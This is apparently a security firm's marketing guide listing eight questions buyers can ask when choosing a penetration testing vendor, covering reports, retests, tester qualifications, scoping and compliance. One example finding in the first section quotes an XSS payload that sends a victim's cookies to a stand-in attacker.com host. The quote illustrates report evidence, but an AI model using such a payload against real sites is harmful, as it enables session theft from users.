How to Choose a Penetration Testing Company: 8 Questions to Ask
The difference between a useful penetration test and a waste of budget comes down to methodology. Here are eight questions that separate firms doing real exploitation from vendors running automated scans with a manual wrapper.
The core problem with buying penetration testing
Penetration testing is hard to evaluate as a buyer. You receive a report after the engagement, not before. By the time you know whether the vendor found real vulnerabilities or produced a scanner-generated checklist, you've already paid.
The industry has a significant quality spread. Some firms employ testers who chain business logic vulnerabilities manually and produce reports that demonstrate real exploitability. Others run Nessus and Burp Suite in automatic mode, screenshot the output, and call it a pentest. Both charge similar rates.
These eight questions shift the evaluation before you sign anything.
1. What does a finding look like in your reports?
Ask for a redacted sample report or a sample finding from a recent engagement. Look for:
- An actual HTTP request that demonstrates the vulnerability is exploitable — not just a description of what might be exploitable
- The server's response showing that the exploitation succeeded
- A CVSS score with justification for the base metrics
- Remediation guidance specific to the finding, not generic advice
A finding that says "Cross-site scripting may be present in the application" is scanner output. A finding that shows POST /api/comments with a payload of <script>document.location='https://attacker.com/?c='+document.cookie</script> and a response confirming execution is evidence.
2. What's your retest policy?
Every serious penetration testing firm includes at least one retest round. After your team fixes the findings, the tester verifies the fixes and issues written confirmation.
Red flags: vendors who charge extra for every retest, vendors who do "retests" by reviewing your description of the fix rather than testing the running application, and vendors who don't produce a formal retest confirmation letter.
The confirmation letter matters for SOC 2 and enterprise vendor reviews. It should state which findings were retested, when, and their verified status.
3. Who will actually do the testing?
Large firms sometimes sell an engagement using senior consultants and deliver it using junior analysts or offshore teams. Ask directly who will perform the testing on your engagement.
Relevant certifications for web application and API testing: OSCP (Offensive Security Certified Professional), OSWE (Offensive Security Web Expert), eCPPT, or equivalent. Ask for the tester's background and any relevant CVEs or public research they've authored.
The size of the firm doesn't predict quality. A two-person boutique firm with OSWE-certified testers often produces better results than a large consulting firm staffing engagements with whoever is available.
4. How do you scope an engagement?
Scoping determines what gets tested. A vendor who can't walk you through a structured scoping process is likely to produce a report that misses your real attack surface.
Good scoping involves: identifying all in-scope assets (API endpoints, web application surfaces, authentication flows), understanding the tech stack and auth model, noting anything explicitly out of scope and why, and setting clear success criteria.
Watch out for vendors who scope by counting "days" or "IP addresses" without mapping the actual application surface. A 5-day engagement on a 200-endpoint API is different from a 5-day engagement on a 20-endpoint API.
5. Do you test business logic, or only technical vulnerabilities?
Automated scanners find known CVEs and technical misconfigurations. They cannot find business logic vulnerabilities — authorization flaws specific to how your application works, workflow bypasses, privilege escalation paths that only exist given your particular user model.
Ask the vendor to describe a business logic finding they've discovered recently. A good answer involves understanding the application's intended behavior and finding a case where the implementation diverges from it. A bad answer is vague or falls back to describing OWASP Top 10 items.
6. What do you do if you find something critical during the test?
If a tester discovers a Critical vulnerability mid-engagement — one that represents an active risk to your production environment — what happens? Do they stop testing and notify you immediately? Do they continue and include it in the final report? Do they have a defined escalation process?
Professional firms have a clear critical finding protocol: stop exploiting the finding further (to avoid unintended damage), document it immediately, notify your security contact within a defined timeframe, and get explicit authorization before continuing.
7. What methodology do you follow?
Reputable firms align to published testing standards. For web applications and APIs, OWASP Testing Guide (WSTG) is the most relevant. PTES (Penetration Testing Execution Standard) covers methodology more broadly.
The specific framework matters less than whether the vendor can articulate what it means for their testing. A vendor who says "we follow OWASP" and can't explain how that affects their API authorization testing approach is using the name as marketing, not as methodology.
8. Can we use this report for SOC 2 or enterprise vendor reviews?
If your reason for getting a pentest includes compliance or enterprise sales enablement, ask directly whether the report format satisfies those use cases.
For SOC 2: the report needs scope documentation, severity ratings with CVSS scores, remediation evidence, and a retest confirmation letter. Ask whether they include all of these.
For enterprise vendor reviews: prospects' security teams often want a summary executive report they can review without sharing the full technical findings. Ask whether the firm provides both formats.
What a good answer looks like vs. what to watch for
| Question | Good answer | Red flag |
|---|---|---|
| Sample finding? | HTTP request + response + CVSS | Description only, no PoC |
| Retest policy? | Included, with written confirmation letter | Extra charge per finding |
| Who tests? | Named tester with certifications | Vague "team of experts" |
| Business logic? | Specific examples from past work | Falls back to OWASP Top 10 list |
| Critical finding? | Immediate notification protocol | Included in final report only |
One more thing: price is not a signal of quality
The correlation between price and quality in penetration testing is weak. Very low prices often mean automation with a manual wrapper. But high prices from large consulting firms often mean project management overhead and junior testers.
The strongest signal of quality is the sample report. Ask for one from a recent engagement. If the vendor is reluctant to share even a redacted sample, that tells you something.
See what our reports look like before committing
We share a full sample report before any engagement. Every finding includes a working HTTP proof of concept. Retest confirmation is included in every engagement at no extra cost.